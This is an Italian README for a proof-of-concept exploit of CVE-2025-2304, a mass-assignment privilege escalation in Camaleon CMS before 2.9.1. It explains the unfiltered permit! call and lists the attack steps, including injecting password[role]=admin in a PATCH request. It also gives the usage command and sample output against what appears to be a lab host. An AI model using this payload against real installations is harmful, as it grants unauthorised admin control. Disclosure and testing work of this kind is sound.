CVE-2025-2304 — Camaleon CMS Mass Assignment Privilege Escalation (PoC)

Vulnerabilità di escalation dei privilegi in Camaleon CMS < 2.9.1. L'endpoint updated_ajax in UsersController chiama params.require(:password).permit! senza filtrare, consentendo l'assegnazione di massa di qualsiasi parametro. Un utente autenticato con privilegi bassi può escalare ad admin iniettando password[role]=admin insieme a una richiesta di cambio password.

Come funziona

1. Effettua il login con le credenziali fornite per ottenere una sessione valida.
2. Recupera l'ID e il ruolo dell'utente corrente dalla pagina del profilo.
3. Invia una richiesta PATCH a /admin/users/<id>/updated_ajax con password[role]=admin iniettato nei parametri della password.
4. Verifica che il ruolo sia stato aggiornato ad admin.

Requisiti

• Python 3
• Installare le dipendenze:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

Utilizzo

python3 exploit.py http://TARGET -u USER -p PASS

Esempio:

$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.

Riferimenti

• CVE-2025-2304
• Tenable Research Advisory
• Camaleon CMS 2.9.1 release (fix)

Crediti

• Scoperta: Tenable Research
• Pulizia e semplificazione: Esteban Zárate